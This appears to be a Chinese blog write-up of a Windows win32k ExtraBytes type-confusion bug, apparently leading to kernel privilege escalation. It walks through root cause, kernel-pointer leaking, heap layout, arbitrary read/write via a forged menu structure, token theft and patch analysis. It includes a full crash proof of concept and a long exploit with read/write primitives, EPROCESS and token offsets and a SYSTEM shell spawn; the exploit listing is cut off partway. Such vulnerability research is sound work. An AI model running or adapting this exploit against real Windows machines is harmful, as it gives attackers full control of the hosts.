if ( (*(_DWORD *)(handle + 0x30C) & 0x40000008) == 0 )
xxxClientFreeWindowClassExtraBytes(ptagWND_0, *(_QWORD *)(*(_QWORD *)(ptagWND + 0x28) + 0x128i64));// free
}
*(_QWORD *)(*(_QWORD *)ptagWNDk + 0x128i64) = (char *)buffer
- *(_QWORD *)(*(_QWORD *)(ptagWND + 0x18) + 0x80i64);// pTagWNDk->pExtraBytes = bufferAddr - DesktopBaseAddr
}
if ( buffer )
{
*buffer = *((_DWORD *)pParam + 2);
buffer[1] = *((_DWORD *)pParam + 3);
}
*(_DWORD *)(*(_QWORD *)ptagWNDk + 0xE8i64) |= 0x800u;// flags set
goto end;
}

当我们所输入的 funcIndex6param 长度为 0x10 的时候,会检查 flags 的设置,并进行如下操作:

  • 如果设置了,则 buffer = pTagWNDk->pExtraBytes + DesktopBaseAddr
  • 如果没设置,则 buffer = DesktopAlloc(*(pTagWND+0x18),cbWndExtra)

也就是如果设置了则证明已经有了内核态的 buffer ,直接取出;否则使用 DesktopAlloc 分配新的 buffer 。然后拷贝原先的 ExtraBytes 到该 buffer ,并存储 bufferAddr - DesktopBaseAddrbuffer 的地址到桌面堆基地址的偏移到 pTagWNDk->pExtraBytes ,最后将 flags 设置为 1 结束。

漏洞成因

经过上面的介绍,我们可以发现在调用 CreateWindowEx 的时候分配给 ExtraBytes 的用户空间堆是通过用户态函数 _xxxClientAllocWindowClassExtraBytes 来申请的,此后在 SetWindowLongPtr / GetWindowLongPtr 的时候会按照 ExtraBytes + index 的方式来计算写入地址并写入 value

然而 _xxxClientAllocWindowClassExtraBytes 函数是可以被 hook 的,也就意味着我们可以控制其的返回值。同时在 hook 中我们可以使用 ConsoleControl 来将 flags 设为 1 ,这样 SetWindowLongPtr / GetWindowLongPtr 便会按照内核空间堆的相对偏移逻辑,即 ExtraBytes + index + DesktopBaseAddr 来计算写入地址并写入 value 。而 ExtraBytes 我们又可控,那么我们就可以相对 DesktopBaseAddr 进行越界读写。

可以用 iamelli0t 的一张图进行归纳:

Untitled 1.png

漏洞利用

HMValidateHandle使用

如果我们需要调用 ConsoleControl 方法,那么我们需要传入 tagWNDhandle ,但是我们此时处在 CreateWindowEx 函数中,还没有返回 handle ,而只是在 tagWNDtagWNDk 中存储了 handle ,所以我们可以泄露 tagWNDk 中存储的 handle 来进行利用。那么我们该怎么泄露呢?可以使用长久以来一直被使用的未公开函数 user32!HMValidateHandle 泄露信息。当我们把窗口的句柄和类型传入该函数,就可以得到 tagWNDk 在用户空间的只读映射指针。通过 free 再进行占位就可以获得接下来的新的 tagWNDk 的内容。

我们可以使用 user32!IsMenu 的第一个 call 来计算 HMValidateHandle 的地址,如下所示:

Untitled 2.png

代码 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#ifdef _WIN64
typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);
#else
typedef void* (__fastcall* lHMValidateHandle)(HWND h, int type);
#endif

lHMValidateHandle pHmValidateHandle = NULL;

BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}

BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}

unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}

BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
return 1;
}
printf("Found location of HMValidateHandle in user32.dll\n");

当然也可以不用 IsMenu 而用别的函数来寻找 HMValidateHandle 的地址

BSOD

整合上面所说的内容,编写如下代码即可 BSOD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#include "framework.h"
#include "poc.h"
#include "stdio.h"
#include <windows.h>

#define MAX_LOADSTRING 100
#define CB_WND_EXTRA_1 0x20
#define CB_WND_EXTRA_2 0x1234
#define CLASS_NAME_1 L"ClassName1"
#define CLASS_NAME_2 L"ClassName2"
#define SPRAY_WND_SIZE 0x50
#define CB_WND_EXTRA_OFFSET 0xc8
#define FAKE_EXTRA_BYTES 0x23456780;

HINSTANCE hInst;
WCHAR szTitle[MAX_LOADSTRING];
WCHAR szWindowClass[MAX_LOADSTRING];

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

#ifdef _WIN64
typedef ULONG* (NTAPI* lHMValidateHandle)(HWND h, int type);
#else
typedef ULONG* (__fastcall* lHMValidateHandle)(HWND h, int type);
#endif

lHMValidateHandle pHmValidateHandle = NULL;
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) (status == (NTSTATUS)0)

typedef ULONG(WINAPI* PxxxClientAllocWindowClassExtraBytes)(PULONG pSize);
typedef NTSTATUS(WINAPI* PNtUserConsoleControl)(DWORD, PVOID, ULONG);
typedef NTSTATUS(WINAPI* PNtCallbackReturn)(PVOID Result, ULONG ResultLength, NTSTATUS Status);

PxxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = NULL;

typedef PVOID(WINAPI* FHMValidateHandle)(HANDLE h, BYTE byType);

HWND hWnds[SPRAY_WND_SIZE] = { 0 };
PULONG pWnds[SPRAY_WND_SIZE] = { 0 };

BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}

BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}

unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}

NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(PULONG pSize) {
PNtUserConsoleControl NtUserConsoleControl = (PNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

if (!NtUserConsoleControl) {
DWORD err = GetLastError();
printf("[-] Failed to get NtUserConsoleControl : %p\n", err);
exit(-1);
}

PNtCallbackReturn NtCallbackReturn = (PNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");

if (!NtCallbackReturn) {
DWORD err = GetLastError();
printf("[-] Failed to get NtCallbackReturn : %p\n", err);
exit(-1);
}

if (*pSize == CB_WND_EXTRA_2) {
HWND cHwd = NULL;
for (int i = 2; i < SPRAY_WND_SIZE; i++) {
PULONG cbWndExtra = *(PULONG*)((PBYTE)(pWnds[i]) + CB_WND_EXTRA_OFFSET);
if (cbWndExtra == (PULONG)CB_WND_EXTRA_2) {
cHwd = (HWND)*(PULONG*)(pWnds[i]);
printf("[+] Find cHwd : %p\n", cHwd);
}
}
if (cHwd == NULL) {
printf("[-] Failed to find cHwd!\n");
goto end;
}
ULONG64 params[2] = { 0 };
params[0] = (ULONG)cHwd;
params[1] = 0;
NTSTATUS status = NtUserConsoleControl(6, params, sizeof(params));
if (!NT_SUCCESS(status)) {
printf("[-] Failed to get NtUserConsoleControl : %p\n", status);
goto end;
}
ULONG64 result[3] = { 0 };
result[0] = FAKE_EXTRA_BYTES;
return NtCallbackReturn(result, sizeof(result), 0);
}
end:
return xxxClientAllocWindowClassExtraBytes(pSize);
}

void hookXxxClientAllocWindowClassExtraBytes() {
DWORD dwOldProtect = 0;
PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
xxxClientAllocWindowClassExtraBytes = (PxxxClientAllocWindowClassExtraBytes)*(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8);
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)MyxxxClientAllocWindowClassExtraBytes;
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);
}

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);

AllocConsole();
FILE* tempFile = nullptr;
freopen_s(&tempFile, "conin$", "r+t", stdin);
freopen_s(&tempFile, "conout$", "w+t", stdout);

BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
return 1;
}
printf("Found location of HMValidateHandle in user32.dll\n");
hookXxxClientAllocWindowClassExtraBytes();
LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);

WNDCLASSEXW wcex = { 0 };

wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = CB_WND_EXTRA_1;
wcex.hInstance = hInstance;
wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_POC);
wcex.lpszClassName = CLASS_NAME_1;

RegisterClassExW(&wcex);
wcex.hInstance = hInstance;
wcex.cbWndExtra = CB_WND_EXTRA_2;
wcex.lpszClassName = CLASS_NAME_2;
RegisterClassExW(&wcex);
for (int i = 0; i < SPRAY_WND_SIZE; i++) {
HWND hWnd = CreateWindowEx(NULL, CLASS_NAME_1, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);

if (!hWnd)
{
DWORD err = GetLastError();
printf("[-] Failed to CreateWindowEx, error : %p\n", err);
exit(-1);
}
hWnds[i] = hWnd;
pWnds[i] = (PULONG)pHmValidateHandle(hWnd, 1);

}

for (int i = 2; i < SPRAY_WND_SIZE; i++) {
DestroyWindow(hWnds[i]);
}

HWND hWnd = CreateWindowEx(NULL, CLASS_NAME_2, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
DWORD err = GetLastError();
printf("[-] Failed to CreateWindowEx, error : %p\n",err);
exit(-1);
}

HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_POC));

MSG msg;

while (GetMessage(&msg, nullptr, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}

return (int) msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

Untitled 3.png

这里不需要 SetWindowLongPtr 就会 BSOD 好像是因为会在程序流中使用 ExtraBytes 导致的,会有很多神奇的情况(x

堆块布局和任意地址写

我们可以申请三个窗口,分别为 0 , 1 , 2 ,然后将 0 块设置为内核寻址模式,将 2 作为被我们设置的混淆堆块,把它的 ExtraBytes 指向 0 块(可以通过 HmValidateHandle 读取 0 块的内容,其中 +0x8 的位置就是它相对于 DesktopBaseAddr 的偏移)。这样我们可以通过 2 块来改变 0 块的内容,同时也可以改写 1 块的 pExtraBytes 指针使其指向任意位置而进行任意位置的读写。

整体的描述可以参考 in1t 师傅的 文章 画的图:

Untitled 4.png

任意地址读与地址泄露

虽然上面提到了如何任意地址读写,但是我们还未泄露出内核的地址,更不好进行所谓的任意地址读写。在野的 EXP 中使用了 [user32!GetMenuBarInfo](https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getmenubarinfo) 通过伪造 tagMENU 结构体进行内核读取,其最终会调用到 win32kfull!xxxGetMenuBarInfo 中,逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall xxxGetMenuBarInfo(__int64 pTagWND, int idObject, int idItem, tagMENUBARINFO *pmbi){

...
if ( (*(_BYTE *)(pTagWNDk + 0x1F) & 0x40) != 0 ) // pTagWNDk->dwStyle can't have WS_CHILD
{
goto end;
}
spMenu = *(_QWORD *)(pTagWND + 0xA8);
if ( !spMenu )
goto end;
SmartObjStackRefBase<tagMENU>::operator=(&spMenuk, spMenu); // *spMenuk = spMenu, *(spMenu + 0x98) = spMenuk
...
if ( idObject == 0xFFFFFFFD ){ // OBJID_MENU
if ( !(unsigned __int8)SmartObjStackRef<tagMENU>::operator bool(&spMenuk)
&& (int)idItem > 0 // check
&& (unsigned int)idItem <= *(_DWORD *)(*((_QWORD *)*spMenuk + 5) + 0x2Ci64)) // check, idItem <= *(*(*spMenuk + 0x28) + 0x2c)
{
spMenu = *(_QWORD *)(pTagWND + 0xA8);
spMenukPtr = *spMenuk;
*(__int64 *)((char *)&pmbi->hMenu + 4) = *(_QWORD *)spMenukPtr;
if ( *((_DWORD *)*spMenuk + 0x10) && *((_DWORD *)*spMenuk + 0x11) ) // check (*(*spMenuk + 0x40) == 1 and *(*spMenuk + 0x44) == 1)
{
if (idItem)
{
pTagWNDk = *(_QWORD *)(pTagWND + 0x28);
idItem_mul_0x60 = 0x60 * idItem; // idItem = 1
addr = *((_QWORD *)*spMenuk + 0xB);
readAddr = *(_QWORD *)(0x60 * idItem + addr - 0x60); // readAddr = fakeAddr - 0x40
if ( (*(_BYTE *)(pTagWNDk + 0x1A) & 0x40) != 0 )
{
value = *(_DWORD *)(pTagWNDk + 0x60) - *(_DWORD *)(readAddr + 0x40);
pmbi->rcBar.right = value; // set value to pmbi
pmbi->rcBar.left = value - *(_DWORD *)(*(_QWORD *)(idItem_mul_0x60 + addr - 0x60) + 0x48i64); // set value to pmbi
}
else
{
value = *(_DWORD *)(readAddr + 0x40) + *(_DWORD *)(pTagWNDk + 0x58);
pmbi->rcBar.left = value; // set value to pmbi
pmbi->rcBar.right = value + *(_DWORD *)(*(_QWORD *)(idItem_mul_0x60 + addr - 0x60) + 0x48i64); // set value to pmbi
}
topValue = *(_DWORD *)(*(_QWORD *)(pTagWND + 0x28) + 0x5Ci64)
+ *(_DWORD *)(*(_QWORD *)(idItem_mul_0x60 + addr - 0x60) + 0x44i64);
pmbi->rcBar.top = topValue;
bottomValue = topValue + *(_DWORD *)(*(_QWORD *)(idItem_mul_0x60 + addr - 0x60) + 0x4Ci64);
}
else{
...
}
pmbi->rcBar.bottom = bottomValue;
...
}
}

GetMenuBarInfo 会根据传入的 hwnd 找到对应的 pTagWND 并传入 xxxGetMenuBarInfo ,此时 idObject 为 OBJID_MENU(0xFFFFFFFD) 且 idItem 为 1,idItem 的定义为:The item for which to retrieve information. If this parameter is zero, the function retrieves information about the menu itself. If this parameter is 1, the function retrieves information about the first item on the menu, and so on.

当我们传入的 idObjectOBJID_MENU 且满足一定条件的时候,会根据 *((_QWORD *)*spMenuk + 0xB) 取出一个地址并读取那里的值用于计算 pmbi->rcBar 的内容。所以我们可以伪造 tagMENU 结构来达到任意读的目的。约束条件归纳如下:

  • pTagWNDk->dwStyle 不能有 WS_CHILD
  • idObject == 0xFFFFFFFD
  • 0 < idItem <= ((*spMenuk + 0x28) + 0x2c)
  • *(*spMenuk + 0x40) == 1 and *(*spMenuk + 0x44) == 1
  • readAddr = targetAddr - 0x40

参考 in1t 师傅的 文章 画的图:

Untitled 5.png

同时在 spMenu 中也可以泄露 eprocess ,具体来说是在:

1
2
3
spMenu = *(pTagWND + 0xA8)
pTEB = *(*(spMenu + 0x50) + 0x10)
pEPROCESS = *(*pTEB + 0x220)

in1t 师傅的 文章 也提到了另一种泄露 eprocess 的方式,不过可能由于版本问题在我的环境上不行,简单贴一下:

1
2
spMenu = *(pTagWND + 0xA8)
pEPROCESS = *(*(spMenu + 0x18) + 0x100)

在 *(pTagWND + 0x98) 处也有 spMenu ,不过该字段默认情况下是未初始化的,不能直接读它获得 eprocess 。另外 0xa8 这个偏移也在各个版本不太一样,需要调整。同时也不是一定可以读到 eprocess 的,很多情况下读不到的,需要反复来几遍。

那么我们该如何设置 spMenu 呢?我们可以使用 tagWNDk0 直接越界写 tagWNDk1 的结构并修改,或者直接使用 SetWindowLongPtr 也可以设置,根据 官方文档 的说明,我们只需要将传入的 nIndex 设为 GWLP_ID ****即可:

Untitled 6.png

其最终会调用 win32kfull!xxxSetWindowData ,大致逻辑为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall xxxSetWindowData(struct tagWND *pTagWND, int index, __int64 value, unsigned int a4)
{
if ( index != 0xFFFFFFFC )
{
switch ( index )
{
case 0xFFFFFFF4:
pTagWNDk = *((_QWORD *)pTagWND + 5);
if ( (*(_BYTE *)(pTagWNDk + 31) & 0xC0) == 0x40 )
{
ret = *((_QWORD *)pTagWND + 0x15);
*(_QWORD *)(pTagWNDk + 0x98) = value;
*((_QWORD *)pTagWND + 0x15) = value;
goto end;
}
...
}
...
end:
return ret;
}

它不仅仅会设置 tagWNDtagWNDk 中的 spMenu ,还会把旧的 spMenu 返回给调用者。这样就可以拿到旧的 spMenu 并泄露 eprocess 了。

清理环境

在有了地址泄露、任意地址读写之后,替换 token 即可提权,最后我们需要清理一下被破坏的结构,防止出现蓝屏。需要清理的有以下几个点:

  • tagWND0 不需要恢复
  • tagWND1 需要恢复 spMenu 和 pExtraBytes
  • tagWND2 需要恢复 pExtraBytes 和分辨用户态和内核态堆的 flags

最后结果

Untitled 7.png

本来还有个 debug 的窗口的不过运行完就直接关闭了,所以只剩下这两个页面了

PATCH分析

就是在 create windows 的时候检查了标志位,如果设置的话则证明有问题,会将 pTagWNDk 回退回去:

Untitled 8.png

另外该文章撰写于 2022 年 1 月,这个月报了几个 win32k 的 CVE 如 CVE-2022-21882 ,信息为绕过了该 patch 。之前我一直没想通这该怎么绕,后面看了补丁发现原来不止这一处调用了 xxxClientAllocWindowClassExtraBytes ,还有别的类型的窗口也会调用该函数从而导致一样的问题。感觉自己看这个洞看晚了,说不定看的早还能发现这个问题。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
#include "framework.h"
#include "poc.h"
#include "stdio.h"
#include <windows.h>

#define NT_SUCCESS(status) (status == (NTSTATUS)0)
#define MAX_LOADSTRING 100
#define CB_WND_EXTRA_1 0x20
#define CB_WND_EXTRA_2 0x1234
#define CLASS_NAME_1 L"ClassName1"
#define CLASS_NAME_2 L"ClassName2"
#define SPRAY_WND_SIZE 0x30
#define CB_WND_EXTRA_OFFSET 0xc8
#define FAKE_EXTRA_BYTES 0xffffff00
#define WND_EXTRA_BYTES_OFFSET 0x128
#define TAG_WNDk_OFFSET 0x8
#define FAKE_SP_MENU_SIZE 0xa0
#define DW_EXSTYLE_OFFSET 0x18
#define MODIFY_OFFSET_FLAG_OFFSET 0xE8
#define PROCESS_ID_OFFSET 0x2e8
#define NEXT_EPROCESS_OFFSET 0x2f0
#define TOKEN_OFFSET 0x360


#ifdef _WIN64
typedef ULONG64* (NTAPI* lHMValidateHandle)(HWND h, int type);
#else
typedef ULONG64* (__fastcall* lHMValidateHandle)(HWND h, int type);
#endif

typedef LONG NTSTATUS;
typedef ULONG64(WINAPI* PxxxClientAllocWindowClassExtraBytes)(PULONG64 pSize);
typedef NTSTATUS(WINAPI* PNtUserConsoleControl)(DWORD, PVOID, ULONG64);
typedef NTSTATUS(WINAPI* PNtCallbackReturn)(PVOID Result, ULONG64 ResultLength, NTSTATUS Status);
typedef PVOID(WINAPI* FHMValidateHandle)(HANDLE h, BYTE byType);

PxxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = NULL;
PNtUserConsoleControl gNtUserConsoleControl = NULL;
PNtCallbackReturn gNtCallbackReturn = NULL;
lHMValidateHandle pHmValidateHandle = NULL;

HINSTANCE hInst;
WCHAR szTitle[MAX_LOADSTRING];

HWND hWnds[SPRAY_WND_SIZE] = { 0 };
PULONG64 pWnds[SPRAY_WND_SIZE] = { 0 };
HWND hWnd = NULL;
PULONG64 pWnd = NULL;

PULONG64 gFakeExtraBytes = 0;

PVOID gPFakeSpMenu = NULL;
PVOID gPFakeRgItems = NULL;
HWND arbHwd = NULL;
BOOL gHasTrigger = FALSE;

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("[-] Failed to load user32");
return FALSE;
}

BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("[-] Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}

unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG64)hUser32 + offset + 11);
return TRUE;
}

NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(PULONG64 pSize) {
if (*pSize == CB_WND_EXTRA_2) {
HWND cHwd = NULL;
for (int i = 2; i < SPRAY_WND_SIZE; i++) {
PULONG64 cbWndExtra = *(PULONG64*)((PBYTE)(pWnds[i]) + CB_WND_EXTRA_OFFSET);
if (cbWndExtra == (PULONG64)CB_WND_EXTRA_2) {
cHwd = (HWND)*(PULONG64*)(pWnds[i]);
printf("[+] Find cHwd : %llx\n", cHwd);
gHasTrigger = TRUE;
break;
}
}
if (cHwd == NULL) {
printf("[-] Failed to find cHwd!\n");
goto end;
}
PULONG64 params[2] = { 0 };
params[0] = (PULONG64)cHwd;
params[1] = 0;
NTSTATUS status = gNtUserConsoleControl(6, params, sizeof(params));
if (!NT_SUCCESS(status)) {
printf("[-] Failed to get NtUserConsoleControl : %llx\n", status);
goto end;
}
PULONG64 result[3] = { 0 };
result[0] = gFakeExtraBytes;
return gNtCallbackReturn(result, sizeof(result), 0);
}
end:
return xxxClientAllocWindowClassExtraBytes(pSize);
}

ULONG64 arbRead(HWND hwd, ULONG64 addr) {

MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);

RECT rect = { 0 };
GetWindowRect(hwd, &rect);

*(ULONG64*)(gPFakeRgItems) = addr - 0x40;

GetMenuBarInfo(hwd, -3, 1, &mbi);

BYTE result[0x10] = { 0 };
*(DWORD*)(result) = mbi.rcBar.left - rect.left;
*(DWORD*)(result + 4) = mbi.rcBar.top - rect.top;
*(DWORD*)(result + 8) = mbi.rcBar.right - mbi.rcBar.left;
*(DWORD*)(result + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;

return *(ULONG64*)result;
}

ULONG64 arbRead2(HWND hwd0, HWND hwd1, ULONG64 WNDk01Offset, ULONG64 addr) {

SetWindowLongPtr(hwd0, WNDk01Offset + WND_EXTRA_BYTES_OFFSET, addr);
ULONG64 result = GetWindowLongPtr(hwd1, 0);
return result;
}

VOID arbWrite(HWND hwd0, HWND hwd1, ULONG64 WNDk01Offset, ULONG64 addr,ULONG64 value) {

SetWindowLongPtr(hwd0, WNDk01Offset + WND_EXTRA_BYTES_OFFSET, addr);
SetWindowLongPtr(hwd1, 0, value);
}

void hookXxxClientAllocWindowClassExtraBytes() {
DWORD dwOldProtect = 0;
PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); // PEB->KernelCallbackTable
xxxClientAllocWindowClassExtraBytes = (PxxxClientAllocWindowClassExtraBytes)*(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8);
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)MyxxxClientAllocWindowClassExtraBytes;
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect);
}

void spawn_shell() {

PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));

STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));

printf("[>] shell!\n");

CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);

AllocConsole();
FILE* tempFile = nullptr;
freopen_s(&tempFile, "conin$", "r+t", stdin);
freopen_s(&tempFile, "conout$", "w+t", stdout);

gNtUserConsoleControl = (PNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

if (!gNtUserConsoleControl) {
DWORD err = GetLastError();
printf("[-] Failed to get NtUserConsoleControl : %llx\n", err);
exit(-1);
}

gNtCallbackReturn = (PNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");

if (!gNtCallbackReturn) {
DWORD err = GetLastError();
printf("[-] Failed to get NtCallbackReturn : %llx\n", err);
exit(-1);
}

BOOL bFound = FindHMValidateHandle();
if (!bFound) {
